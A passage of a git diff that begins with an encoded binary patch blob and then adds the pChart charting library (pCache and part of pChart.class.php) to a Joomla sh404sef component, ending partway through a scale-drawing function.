zVTA?iBMoGFg>m545-W>g<#05t9FB&SvpaelRt`tQLgQ$x05}@f6-UF0;%Hb=91Saq zqhUpHG^{9&h84!qSP^hEtT2wLVy$uFUe#Q6u+?KhawWpXjlriY$)xW}GU>aLOnR;) zlb$Qd#P3Qn@w<|YB@>Sh&HlNPMf+sYKH2QAE7|O?E5+=uE5+=uD@D{#5%p8d{DbaF-{` zq$iYsyF5{bdpikPG;kj$%Pbm}zmkw(%GcvI`{{9; z=bhjZEwL9P=(q&VM0b=?;xfkwpP{vCm{Rgset3d~*UOAH#;AJ|je6-R9&>F@@tA9K zibu9L{frd1xi+VG%(XeiBe^u!{1mfy=_zLKaFiTMElj}9l;9paP7;z-ddm{*GKp)E z{wK=*OCF4K@ND`SDIP(~D|mBDo=m4M#cgV+2m40?H+G05Wa)xeVzEZkx})IFb7XzN zu~+bb4^eUlG9^*S&6KCz;}yJ_yyLn&msBjxv+fr7Zlp;C&sfaS@k;D@CKcI3ue>g( zdL>s_p9VESb#W*^ZP(?3fwxxsn5#9(@tb`SQz1m~u2 zh!TTZdWu)b-m*d1r!zUTY!P=SAyUbyJrG#g5VXqW3og@61!xwM9hMSL=z-t zOA6K=i3`sbL_0aZk}Sz!UrAoG=*c;jBsH4v_=sBA=aG=)Txv9biYKpG{gbmJDb2cO z^#Z%ZvcBZrlDC|7$re5A6^q)~4VI9QOtRo5+3Kk^^IUi$CTdIjlWbwKW}eHkI4)Cv z?Ve;g=foWI2;K3BaZa`*haFr&!J2n2uW9o=$>tqFibu?7lLyQa$+0C3uW98y$(B@- zguP6*#x$Z^5uHjh_yoV!m_{@wqA^JlyBt%zE-ScpW2e>R-))y%i+N$L%;_oS%8aAX z=wvyX{7IZ_E9H#Wh)pd|u_$0)RMfKW(%lZhx4BBDroE<6F*yA~lz=CHs5|Vt&`Rq1VK;V(H(v4>`qP8^~-R9b4_oRw7DOt?PRH5Oi zqNl0CuBBT2lye}}Xpx?hCR>O(Bm6v1su)w@2YONsPN9v4rhu|B#%M1o$ob-yc0E-{ zqPLJts?|qn=~FF@#&Z$TN6Xf`O&bqNmL!Dl=rMg;(3X7=yr&5Z-P@X5QWH(@H$6po ziyqSpPEQfuqDOec9y!;97wnO}7hbSON=JCX9x099!ansjy;6_tbDGc+DdjXVE>ddv zBE6yAW>4&%G@*O4C&CN$q=^}oW_qojG()ziFX*OA>Eo%kkfg`*CGp;bNhMucD~~n5 zJeDWvk)9-;1e;@lC+-#`X8@j;3S5%1SiPmqO%{5RZ1G{Ob{=bA++*!@d91nRvDQ0} zwcdG5uQENwA#9^VYK-u6aYbr}$C_UrYkqmG)egBbWM8b^Z;!S6?Xl*V$C_gvYsK^6 zS*MT)o^?vdl8v?Md8}0rUbn1gd7KfC+mo2UGd&PwbkLB)LB-cCk^fmy25GOh(30rQ ziqh*#_6p8L9wM9ghc8%PQ+i&znmlyiP`e$qI2N=+MhNqtrrdyt<1YR z;d_?RBpSc5qy~QLk$MV2yl@l1%}ERVwjmz;_8|jMju>3P_mX=R4RN?r09TSZfFB^g z0{#u(?A3ULs$xW^;uo>0_^nBSlgFdtcOV^%Ox*btS;|>^y--mR>ov>Zk@Fdgyb>!E z6={~T(f3$I9h5xOhMX1nfH`tpsE`IRa$WFq9i?Uo1soj+1q&6Y@$1FTYgp-l*YW~N zZ~n%c(%<+UQW(hhDYus5fcz7tWcV+q%rWs_WaGdux`1DXU(Lv@!OuVg*)-ZJ>FQb% z%QB;uM(;u?|IbGW64Xoi89P+1w1z?u+t!Rcj51=z-c`H$tdfan>~^FxzUh1p5zO-u zt-J&g$}16-ya|!V+YoL11|p32AgXvjB8d+odiXFRhEL)DIU{OwAfhcZ5n*{7qAGI{ zNr@LD5jQyzv63qg+qfR_j2jWhxE1l8I}o+_79th*lKnUyKuqG-h(kPz*u$R?Z}=Nx z46h)rkRg_^CL5?XBsU>qa2(?Qx*=vSTh9a6nb3zeh!S@oGJF=|tQR1z`U%8RKZSVd zEr^lcfw<_m5DUE*@y`bk^ZYg9oR1>5`4ssDF{T|^e?*54MMUT*M1f`_@^dVrJxdYc zISCP&s}O~`0g;!R5pl_5Enh`^3BUN9GfFvu?u1h$LP6#k#Gydx7&#e@ziq=7ycOHz?UKRdoAL-w<4x{7vi|z zLG1QE#A|j^)X}tw;tRoS->O;J005PiL5tmwlSk#q>9eo<{ zqMHyW`Z8+nL{#Y8hy?wBe1hYri23{mah}Hz+xau%InN`8^D5#tb;N4cf`qRlEfA4e zi1^Cxh>6V6^Z#c`SZ$%qB{pOc=t$!6ZE_DH^QR&ze#9f+PEJgjWZBkJRA|lcOr^7ACbdBL<^TALik=p2H%IM;2DSrz8}%R^VodE0WUxd z@FK+jK7rWZ<%s!Rhd5t+@feZ4uOOy(7vgx|LG126#O!{8SlzGm5F&F=AR6}!B5*IV z%ZRt7h_S7KxY~M%scnQu?S|7a%Gw&r3pE6TVP zB8=N2y0{}Ei|vRib|IR$3!;d7A%gfXbM^mwnuJL2|6h~-D>nVVrb!gpulQQ5sv10p z#>m3DQQ3~nO#6^`=?HQvT}0`1$a{4&@>@BP%L?CkM7F9S@MQ?B{txC+Z%%%L4^u@h z;CCwd9lta2J#mf9)hFW9xIOhr_)XUD!f&cR6TjUJub>g|wnFYKJMv_8Bj*ha7Yz)5 z7#O%;G*_=MFibWu+-+c(Wnh56q2I%6fPboU-^zrhSWu+}Raww|7Btm@rU@vP=NaMo z0*qV%JWl{}1i-6_G9`p8UR+Z6@(OZ;HCA}G^^WlSH0>AC2ft@YU;LgU{qXxM>5t#v z;QeVD|I&@BT`+tjctnPmRs&f0Kc<}_P0VZ_#<}Skalc7voR5+QMyb;HPJ313(Rxh# z>3yePsHsM2%c>d=L{VRSJlIjoUPF&IuV{=Z_Az>F2VJFVRidWSWkc;l>>aC>G+lAy zl%~i<#{Xv^j~LHV%#*P3tkOOBf4l9^_-LI~X?wRnc4TJyAJ3e=nECyfmdmOdY`0fw z{I9iEr~eHfd*@V*Z2Hvgp*tJi{?$r*O^Z(z-^a06E_F1wH`7TLjjewj@?r*t;h{TH zUm_!^ZLlBD+)KwfuD3Vj72@jGk`+1{*lz2yOeQ>uVx0AmVnM2|N$rsQ>;QsC=@z%#o>$R6YQ?&(bO@mHqLyGX-~b>=a+w z^aXw6nz)zh)*Sxju+Pg5znjp0<0t21M!U|PeDG>ajeQ53jCy(R@$)lZcw*O#)~D_s zQ71HZ;-2vhue?3te7mPd+_8{e>6Be}L}kC{pLaaPyXDs z#WS}qy62|H3#aeu-{;Y>n^$`dT#o6qe{<3jjX$R;LDd)tH|Bql)Y=Nl zW3?((Rd!AC%{aAj4asTJp|S6qDK9l_w(R}~yKigr(9{M=r>1?-?jb#|?<$h>OTXQ-cn|r=pqrD|_hrIFA!fm|{?reP` zCF|4k)6VM0?_bo^agNmfWZ>hi+JDug$-Js_&!1j1=x~EI-_HAVcfsqv5$j4nxoGd3 z@kQrgj_r$C?^R8HeZcm%Z&el?KUURiLwc8GzxVX)9k?wsWz;19 zPTAe~!kY<|mG8D+aOvJVy3Ba6!NK?A%g&x2cdYxmF*{S#^%?6&ukG2w@npS*zlWCJ zSam<`@I$&buxMWMA@K_aw4bO?4R@bEuVWvFF_l(UZnal#vG>xWVdEK#QdJ78XSd69 zyE?s<$Q2sQ36;eEX;64cXPz&%EM$+tpfszGNubz!bI?Y++xa-hjhWt8oqjP*1!{YH zds~TEQ?G0KAC0!XKF89U*09IQCM4P(#|vvyN;G{}^}!WZpwqdGoG~36efe9f+Cw+h zIJIee{&L$J z*wJ3Y-(sy#JojAPvFna@-E*?#`A6E_-Ye_eQ^THk$I~Ur9~}yo7=h>Jwm%eXu_)2o@*oCkH^{|TlVOoLONKJWvw{A1*e$?Z9&X0$B{e@wB ziKBzP9Xf<{szoZ2=$7(0d#>d?33;N;%JOVvZ;p4|Xm4s(ZusXbBJH{3CVO*!oz!m> zxz3j{TXGrluapMD6=G@PX;X|`A(+)pyTh4)#fi`IQU4b>`gfCbownn(l4D)Z4sO!+ z$ww#NVgF&px(8a{dGYFkfh%9S`os!bkGpPJv1G-(G0t%xrQ}xpykWw-nO~kg_4xFr z^PZfVx9P2Mld@ZW+N|3*wbh4CEPV6TPI-$L7u>vPUzd)r*4Q%Q=GW4X$M*0p?6|IN z(%K*U-IsEBYVB={3$uJ1s_t4orc?RAlZ!Uzc3nKAsUx~ogD2M=pWmU;vF?xMG#E32 z`JZf-ICRE^HK!lZ-fpu0)vUBlv!=Y-<;ToN20wdc&7`96;O82>zc8llP0H{G#{?3$ z4X78@?bd6fFRjXpjb8n6<*ma{zu5JT>nh9Xm*;mrJ7vMu=l96*r+w{?4O`w$BRHgf;8Rc-ZodEIljjd4D?G;U81Hh<>4ce@Fk-| z4|m+Mtj{~yr!Rl@e%G#})_F1mS6dbJeE0qJ->|#Bc0ADi$vP!tw_UB5(I~L%^1jr= zbw}AUe#oBu-1-~d>5$mE(@y{Ldb3;C&RKaOv+3_Qz58jyb3->20NW((Ri9(16Y_S7#^z9pMS|N6q$?+pLh-*5NO%ojJ4w)L(( z`01JGdG~C6^sT28J06*IWNrE33ComyV|%{#v1j(T$@SK{$2J*z(EZ&fP3e)fY4n{@ z3EtvCO>1Vq6uV;1{sWmk)Au&bT3vFmUY8jUmp!@W<7Kc4@4`2DLHGt^;}&J?QodPV z_mj_iEnd6x*nbPNV22%mSumD+zSz4R4mhypsl9TwBhE1JRIjgP4Rh4D*X5Qbx_<0% zB;JDCj64vII`&$;FsgpkP=7AZx+4u%Z2f;>u>O_xk{`cxG_r`@%`fDdoMrn zYTxqmXXkuz?1s07Z*II}^UHT?%hSdtjr{%PHjj52wDj_dBi`BG+!iT^Uhdrf!uas1E_i_6n)%4`rd@heZU6bH8FQM>8BlTOmVSTS;S6+Xp7~7KphLOG?cEOM_UnD= z(wj|F#vfbOJ?-al%99&XcDzz|)2&A?9az!6^7H0{S7hyMGp}Uziozz>GG|w9uN<&? z`3rfI)?L45kG`wVsnwfKIvNh^-k!dCE!6j```e^m&N=aOs~MwrdOkYg_|5sn9fv9= zy<*=GnBM==oVu?zc_4G7y^7U_F}q+IvshnL-Be>w!Bt&YeB0oEjM3n?I!?Qr=WKJk zU0!be5@7uB=7*i1+AEj;pSFI^zga)w`;mWPN-?4T<9nU;i*_WfZPe!14&CDh_Pnb+ ze$AdOAI+)xdYABL4{!N)*?^uS@Ax1sV{t{hU;4e@xX;g7uSfT&XSibG>Z|1yD9w7dMqt?$k29X%~;_MUfYrw_>5GiPCW{~0INCF{Gd)jU}+Jg4-H z!0^qfA3D3(ziM*wKDS_a;mCN)0=iQ*mFF;SIq9~=4)9Wq^4}%+vN7= z&pB!LdPkeBiCQynkEx+4zq|x15`>0QKcyq*_jk5~x zyt2RJo58IuH`ct??QGq&@YxuBQKPSeyQZs+>NV?d-E+5|_9ra=A%F0%1FD`rS^F#X zk3(bb&Fgdfo{lB&Pagb*zO{HxjjP!=ru_c!T`QiBUAnJjoo5G4ZZki4^Ui`lR`-0e z<*9d`*fzsqm_!zb%~O6a{XfOi5xj^h+9*uA$8QFbw)+eXZDZ&xt~3G*@4e@PTyxATdjEw$8Gje z%j{F)jn8qI-!QY`+ZO!mk^BpH|KdBV%Ws|{_bQB!to%u_@qrTg#i8mt3>T4BsmkEQ z>%VWDxM*aXxOX3Ie`?6LKJC+%)B8Sg=8+wXnvHp_eV^xEnm5wR&aJxd(FK!#p{=5a zy9gxC z9N0Im=CwQDnBDbM*)h!p)?|#$z#pgB-JlXBLAqyX!c45e(&t^94`Plps^-{jfoHTXGDyOIS zuBR`oTpHc*`pX4b%Z7Cu@zdMwe_ed{UVF-%=}iCl?W0W=pZ?9cZ~v@A+n+3Z;DaR< z*&Y69(4qdORX0Yj8s2lx$UiQ<^~dx3FE6jsu>Y_1jf|4+sM3;91 za_2wj)9P`pyMCYf@pBiBC(fIn@tHEbu4mcG%oFQl8pgixeQi3?yYJ-AZ(@7SNq+44 zjw8C>`rE$L-uu64dh_~8$4|HW=Ej-5f@2>{IaF_Qy%$~?-(c;jH7je)3Y{cVHZOdm z&e3Cs6DBPA^7uVPKYANFUc2(+O=D+eULLalYW4$OmUm{N_i$zNadSI#bk5)U`L(Fn zsj~(y>{;~r6VrTMZ(h`6Tj \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pCache.class.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pCache.class.php new file mode 100644 index 00000000..e48890e9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pCache.class.php @@ -0,0 +1,121 @@ +. + + Class initialisation : + pCache($CacheFolder="Cache/") + Cache management : + IsInCache($Data) + GetFromCache($ID,$Data) + WriteToCache($ID,$Data,$Picture) + DeleteFromCache($ID,$Data) + ClearCache() + Inner functions : + GetHash($ID,$Data) + */ + +defined('_JEXEC') or die('Restricted access'); + + /* pCache class definition */ + class pCache + { + var $HashKey = ""; + var $CacheFolder = "Cache/"; + + /* Create the pCache object */ + function pCache($CacheFolder="Cache/") + { + $this->CacheFolder = $CacheFolder; + } + + /* This function is clearing the cache folder */ + function ClearCache() + { + if ($handle = opendir($this->CacheFolder)) + { + while (false !== ($file = readdir($handle))) + { + if ( $file != "." && $file != ".." ) + unlink($this->CacheFolder.$file); + } + closedir($handle); + } + } + + /* This function is checking if we have an offline version of this chart */ + function IsInCache($ID,$Data,$Hash="") + { + if ( $Hash == "" ) + $Hash = $this->GetHash($ID,$Data); + + if ( file_exists($this->CacheFolder.$Hash) ) + return(TRUE); + else + return(FALSE); + } + + /* This function is making a copy of drawn chart in the cache folder */ + function WriteToCache($ID,$Data,$Picture) + { + $Hash = $this->GetHash($ID,$Data); + $FileName = $this->CacheFolder.$Hash; + + imagepng($Picture->Picture,$FileName); + } + + /* This function is removing any cached copy of this chart */ + function DeleteFromCache($ID,$Data) + { + $Hash = $this->GetHash($ID,$Data); + $FileName = $this->CacheFolder.$Hash; + + if ( file_exists($FileName ) ) + unlink($FileName); + } + + /* This function is retrieving the cached picture if applicable */ + function GetFromCache($ID,$Data) + { + $Hash = $this->GetHash($ID,$Data); + if ( $this->IsInCache("","",$Hash ) ) + { + $FileName = $this->CacheFolder.$Hash; + + header('Content-type: image/png'); + @readfile($FileName); + exit(); + } + } + + /* This function is building the graph unique hash key */ + function GetHash($ID,$Data) + { + $mKey = "$ID"; + foreach($Data as $key => $Values) + { + $tKey = ""; + foreach($Values as $Serie => $Value) + $tKey = $tKey.$Serie.$Value; + $mKey = $mKey.md5($tKey); + } + return(md5($mKey)); + } + } +?> \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pChart.class.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pChart.class.php new file mode 100644 index 00000000..16c9e13d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/pChart/pChart/pChart.class.php @@ -0,0 +1,3507 @@ +. + + Class initialisation : + pChart($XSize,$YSize) + Draw methods : + drawBackground($R,$G,$B) + drawRectangle($X1,$Y1,$X2,$Y2,$R,$G,$B) + drawFilledRectangle($X1,$Y1,$X2,$Y2,$R,$G,$B,$DrawBorder=TRUE,$Alpha=100) + drawRoundedRectangle($X1,$Y1,$X2,$Y2,$Radius,$R,$G,$B) + drawFilledRoundedRectangle($X1,$Y1,$X2,$Y2,$Radius,$R,$G,$B) + drawCircle($Xc,$Yc,$Height,$R,$G,$B,$Width=0) + drawFilledCircle($Xc,$Yc,$Height,$R,$G,$B,$Width=0) + drawEllipse($Xc,$Yc,$Height,$Width,$R,$G,$B) + drawFilledEllipse($Xc,$Yc,$Height,$Width,$R,$G,$B) + drawLine($X1,$Y1,$X2,$Y2,$R,$G,$B,$GraphFunction=FALSE) + drawDottedLine($X1,$Y1,$X2,$Y2,$DotSize,$R,$G,$B) + drawAlphaPixel($X,$Y,$Alpha,$R,$G,$B) + drawFromPNG($FileName,$X,$Y,$Alpha=100) + drawFromGIF($FileName,$X,$Y,$Alpha=100) + drawFromJPG($FileName,$X,$Y,$Alpha=100) + Graph setup methods : + addBorder($Width=3,$R=0,$G=0,$B=0) + clearScale() + clearShadow() + createColorGradientPalette($R1,$G1,$B1,$R2,$G2,$B2,$Shades) + drawGraphArea($R,$G,$B,$Stripe=FALSE) + drawScale($Data,$DataDescription,$ScaleMode,$R,$G,$B,$DrawTicks=TRUE,$Angle=0,$Decimals=1,$WithMargin=FALSE,$SkipLabels=1,$RightScale=FALSE) + drawRightScale($Data,$DataDescription,$ScaleMode,$R,$G,$B,$DrawTicks=TRUE,$Angle=0,$Decimals=1,$WithMargin=FALSE,$SkipLabels=1) + drawXYScale($Data,$DataDescription,$YSerieName,$XSerieName,$R,$G,$B,$WithMargin=0,$Angle=0,$Decimals=1) + drawGrid($LineWidth,$Mosaic=TRUE,$R=220,$G=220,$B=220,$Alpha=100) + drawLegend($XPos,$YPos,$DataDescription,$R,$G,$B,$Rs=-1,$Gs=-1,$Bs=-1,$Rt=0,$Gt=0,$Bt=0,$Border=FALSE) + drawPieLegend($XPos,$YPos,$Data,$DataDescription,$R,$G,$B) + drawTitle($XPos,$YPos,$Value,$R,$G,$B,$XPos2=-1,$YPos2=-1,$Shadow=FALSE) + drawTreshold($Value,$R,$G,$B,$ShowLabel=FALSE,$ShowOnRight=FALSE,$TickWidth=4,$FreeText=NULL) + drawArea($Data,$Serie1,$Serie2,$R,$G,$B,$Alpha = 50) + drawRadarAxis($Data,$DataDescription,$Mosaic=TRUE,$BorderOffset=10,$A_R=60,$A_G=60,$A_B=60,$S_R=200,$S_G=200,$S_B=200,$MaxValue=-1) + drawGraphAreaGradient($R,$G,$B,$Decay,$Target=TARGET_GRAPHAREA) + drawTextBox($X1,$Y1,$X2,$Y2,$Text,$Angle=0,$R=255,$G=255,$B=255,$Align=ALIGN_LEFT,$Shadow=TRUE,$BgR=-1,$BgG=-1,$BgB=-1,$Alpha=100) + getLegendBoxSize($DataDescription) + loadColorPalette($FileName,$Delimiter=",") + reportWarnings($Interface="CLI") + setGraphArea($X1,$Y1,$X2,$Y2) + setLabel($Data,$DataDescription,$SerieName,$ValueName,$Caption,$R=210,$G=210,$B=210) + setColorPalette($ID,$R,$G,$B) + setCurrency($Currency) + setDateFormat($Format) + setFontProperties($FontName,$FontSize) + setLineStyle($Width=1,$DotSize=0) + setFixedScale($VMin,$VMax,$Divisions=5,$VXMin=0,$VXMin=0,$XDivisions=5) + setShadowProperties($XDistance=1,$YDistance=1,$R=60,$G=60,$B=60,$Alpha) + writeValues($Data,$DataDescription,$Series) + Graphs methods : + drawPlotGraph($Data,$DataDescription,$BigRadius=5,$SmallRadius=2,$R2=-1,$G2=-1,$B2=-1,$Shadow=FALSE) + drawXYPlotGraph($Data,$DataDescription,$YSerieName,$XSerieName,$PaletteID=0,$BigRadius=5,$SmallRadius=2,$R2=-1,$G2=-1,$B2=-1) + drawLineGraph($Data,$DataDescription,$SerieName="") + drawXYGraph($Data,$DataDescription,$YSerieName,$XSerieName,$PaletteID=0) + drawFilledLineGraph($Data,$DataDescription,$Alpha=100,$AroundZero=FALSE) + drawCubicCurve($Data,$DataDescription,$Accuracy=.1,$SerieName="") + drawFilledCubicCurve($Data,$DataDescription,$Accuracy=.1,$Alpha=100,$AroundZero=FALSE) + drawOverlayBarGraph($Data,$DataDescription,$Alpha=50) + drawBarGraph($Data,$DataDescription,$Shadow=FALSE) + drawStackedBarGraph($Data,$DataDescription,$Alpha=50,$Contiguous=FALSE) + drawLimitsGraph($Data,$DataDescription,$R=0,$G=0,$B=0) + drawRadar($Data,$DataDescription,$BorderOffset=10,$MaxValue=-1) + drawFilledRadar($Data,$DataDescription,$Alpha=50,$BorderOffset=10,$MaxValue=-1) + drawBasicPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$R=255,$G=255,$B=255,$Decimals=0) + drawFlatPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$SpliceDistance=0,$Decimals = 0) + drawFlatPieGraphWithShadow($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$SpliceDistance=0,$Decimals = 0) + drawPieGraph($Data,$DataDescription,$XPos,$YPos,$Radius=100,$DrawLabels=PIE_NOLABEL,$EnhanceColors=TRUE,$Skew=60,$SpliceHeight=20,$SpliceDistance=0,$Decimals=0) + Other methods : + setImageMap($Mode=TRUE,$GraphID="MyGraph") + getImageMap($MapName,$Flush=TRUE) + Render($FileName) + Stroke() + */ + +defined('_JEXEC') or die('Restricted access'); + +/* Declare some script wide constants */ +define("SCALE_NORMAL",1); +define("SCALE_ADDALL",2); +define("SCALE_START0",3); +define("SCALE_ADDALLSTART0",4); +define("PIE_PERCENTAGE", 1); +define("PIE_LABELS",2); +define("PIE_NOLABEL",3); +define("PIE_PERCENTAGE_LABEL", 4); +// MHB : modification spécifique +define("PIE_PERCENTAGE_LABEL_VALUE", 999); + +define("TARGET_GRAPHAREA",1); +define("TARGET_BACKGROUND",2); +define("ALIGN_TOP_LEFT",1); +define("ALIGN_TOP_CENTER",2); +define("ALIGN_TOP_RIGHT",3); +define("ALIGN_LEFT",4); +define("ALIGN_CENTER",5); +define("ALIGN_RIGHT",6); +define("ALIGN_BOTTOM_LEFT",7); +define("ALIGN_BOTTOM_CENTER",8); +define("ALIGN_BOTTOM_RIGHT",9); + +/* pChart class definition */ +class pChart +{ + /* Palettes definition */ + var $Palette = array("0"=>array("R"=>188,"G"=>224,"B"=>46), + "1"=>array("R"=>224,"G"=>100,"B"=>46), + "2"=>array("R"=>224,"G"=>214,"B"=>46), + "3"=>array("R"=>46,"G"=>151,"B"=>224), + "4"=>array("R"=>176,"G"=>46,"B"=>224), + "5"=>array("R"=>224,"G"=>46,"B"=>117), + "6"=>array("R"=>92,"G"=>224,"B"=>46), + "7"=>array("R"=>224,"G"=>176,"B"=>46)); + + /* Some static vars used in the class */ + var $XSize = NULL; + var $YSize = NULL; + var $Picture = NULL; + var $ImageMap = NULL; + + /* Error management */ + var $ErrorReporting = FALSE; + var $ErrorInterface = "CLI"; + var $Errors = NULL; + var $ErrorFontName = "Fonts/pf_arma_five.ttf"; + var $ErrorFontSize = 6; + + /* vars related to the graphing area */ + var $GArea_X1 = NULL; + var $GArea_Y1 = NULL; + var $GArea_X2 = NULL; + var $GArea_Y2 = NULL; + var $GAreaXOffset = NULL; + var $VMax = NULL; + var $VMin = NULL; + var $VXMax = NULL; + var $VXMin = NULL; + var $Divisions = NULL; + var $XDivisions = NULL; + var $DivisionHeight = NULL; + var $XDivisionHeight = NULL; + var $DivisionCount = NULL; + var $XDivisionCount = NULL; + var $DivisionRatio = NULL; + var $XDivisionRatio = NULL; + var $DivisionWidth = NULL; + var $DataCount = NULL; + var $Currency = "\$"; + + /* Text format related vars */ + var $FontName = NULL; + var $FontSize = NULL; + var $DateFormat = "d/m/Y"; + + /* Lines format related vars */ + var $LineWidth = 1; + var $LineDotSize = 0; + + /* Layer related vars */ + var $Layers = NULL; + + /* Set antialias quality : 0 is maximum, 100 minimum*/ + var $AntialiasQuality = 0; + + /* Shadow settings */ + var $ShadowActive = FALSE; + var $ShadowXDistance = 1; + var $ShadowYDistance = 1; + var $ShadowRColor = 60; + var $ShadowGColor = 60; + var $ShadowBColor = 60; + var $ShadowAlpha = 50; + var $ShadowBlur = 0; + + /* Image Map settings */ + var $BuildMap = FALSE; + var $MapFunction = NULL; + var $tmpFolder = "tmp/"; + var $MapID = NULL; + + /* This function create the background picture */ + function pChart($XSize,$YSize) + { + $this->XSize = $XSize; + $this->YSize = $YSize; + $this->Picture = imagecreatetruecolor($XSize,$YSize); + + $C_White =$this->AllocateColor($this->Picture,255,255,255); + imagefilledrectangle($this->Picture,0,0,$XSize,$YSize,$C_White); + imagecolortransparent($this->Picture,$C_White); + + $this->setFontProperties("tahoma.ttf",8); + } + + /* Set if warnings should be reported */ + function reportWarnings($Interface="CLI") + { + $this->ErrorReporting = TRUE; + $this->ErrorInterface = $Interface; + } + + /* Set the font properties */ + function setFontProperties($FontName,$FontSize) + { + $this->FontName = $FontName; + $this->FontSize = $FontSize; + } + + /* Set the shadow properties */ + function setShadowProperties($XDistance=1,$YDistance=1,$R=60,$G=60,$B=60,$Alpha=50,$Blur=0) + { + $this->ShadowActive = TRUE; + $this->ShadowXDistance = $XDistance; + $this->ShadowYDistance = $YDistance; + $this->ShadowRColor = $R; + $this->ShadowGColor = $G; + $this->ShadowBColor = $B; + $this->ShadowAlpha = $Alpha; + $this->ShadowBlur = $Blur; + } + + /* Remove shadow option */ + function clearShadow() + { + $this->ShadowActive = FALSE; + } + + /* Set Palette color */ + function setColorPalette($ID,$R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $this->Palette[$ID]["R"] = $R; + $this->Palette[$ID]["G"] = $G; + $this->Palette[$ID]["B"] = $B; + } + + /* Create a color palette shading from one color to another */ + function createColorGradientPalette($R1,$G1,$B1,$R2,$G2,$B2,$Shades) + { + $RFactor = ($R2-$R1)/$Shades; + $GFactor = ($G2-$G1)/$Shades; + $BFactor = ($B2-$B1)/$Shades; + + for($i=0;$i<=$Shades-1;$i++) + { + $this->Palette[$i]["R"] = $R1+$RFactor*$i; + $this->Palette[$i]["G"] = $G1+$GFactor*$i; + $this->Palette[$i]["B"] = $B1+$BFactor*$i; + } + } + + /* Load Color Palette from file */ + function loadColorPalette($FileName,$Delimiter=",") + { + $handle = @fopen($FileName,"r"); + $ColorID = 0; + if ($handle) + { + while (!feof($handle)) + { + $buffer = fgets($handle, 4096); + $buffer = str_replace(chr(10),"",$buffer); + $buffer = str_replace(chr(13),"",$buffer); + $Values = explode($Delimiter,$buffer); + if ( count($Values) == 3 ) + { + $this->Palette[$ColorID]["R"] = $Values[0]; + $this->Palette[$ColorID]["G"] = $Values[1]; + $this->Palette[$ColorID]["B"] = $Values[2]; + $ColorID++; + } + } + } + } + + /* Set line style */ + function setLineStyle($Width=1,$DotSize=0) + { + $this->LineWidth = $Width; + $this->LineDotSize = $DotSize; + } + + /* Set currency symbol */ + function setCurrency($Currency) + { + $this->Currency = $Currency; + } + + /* Set the graph area location */ + function setGraphArea($X1,$Y1,$X2,$Y2) + { + $this->GArea_X1 = $X1; + $this->GArea_Y1 = $Y1; + $this->GArea_X2 = $X2; + $this->GArea_Y2 = $Y2; + } + + /* Prepare the graph area */ + function drawGraphArea($R,$G,$B,$Stripe=FALSE) + { + $this->drawFilledRectangle($this->GArea_X1,$this->GArea_Y1,$this->GArea_X2,$this->GArea_Y2,$R,$G,$B,FALSE); + $this->drawRectangle($this->GArea_X1,$this->GArea_Y1,$this->GArea_X2,$this->GArea_Y2,$R-40,$G-40,$B-40); + + if ( $Stripe ) + { + $R2 = $R-15; if ( $R2 < 0 ) { $R2 = 0; } + $G2 = $R-15; if ( $G2 < 0 ) { $G2 = 0; } + $B2 = $R-15; if ( $B2 < 0 ) { $B2 = 0; } + + $LineColor =$this->AllocateColor($this->Picture,$R2,$G2,$B2); + $SkewWidth = $this->GArea_Y2-$this->GArea_Y1-1; + + for($i=$this->GArea_X1-$SkewWidth;$i<=$this->GArea_X2;$i=$i+4) + { + $X1 = $i; $Y1 = $this->GArea_Y2; + $X2 = $i+$SkewWidth; $Y2 = $this->GArea_Y1; + + + if ( $X1 < $this->GArea_X1 ) + { $X1 = $this->GArea_X1; $Y1 = $this->GArea_Y1 + $X2 - $this->GArea_X1 + 1; } + + if ( $X2 >= $this->GArea_X2 ) + { $Y2 = $this->GArea_Y1 + $X2 - $this->GArea_X2 +1; $X2 = $this->GArea_X2 - 1; } + // * Fixed in 1.27 * { $X2 = $this->GArea_X2 - 1; $Y2 = $this->GArea_Y2 - ($this->GArea_X2 - $X1); } + + imageline($this->Picture,$X1,$Y1,$X2,$Y2+1,$LineColor); + } + } + } + + /* Allow you to clear the scale : used if drawing multiple charts */ + function clearScale() + { + $this->VMin = NULL; + $this->VMax = NULL; + $this->VXMin = NULL; + $this->VXMax = NULL; + $this->Divisions = NULL; + $this->XDivisions = NULL; } + + /* Allow you to fix the scale, use this to bypass the automatic scaling */ + function setFixedScale($VMin,$VMax,$Divisions=5,$VXMin=0,$VXMax=0,$XDivisions=5) + { + $this->VMin = $VMin; + $this->VMax = $VMax; + $this->Divisions = $Divisions; + + if ( !$VXMin == 0 ) + { + $this->VXMin = $VXMin; + $this->VXMax = $VXMax; + $this->XDivisions = $XDivisions; + } + } + + /* Wrapper to the drawScale() function allowing a second scale to be drawn */ + function drawRightScale($Data,$DataDescription,$ScaleMode,$R,$G,$B,$DrawTicks=TRUE,$Angle=0,$Decimals=1,$WithMargin=FALSE,$SkipLabels=1) + { + 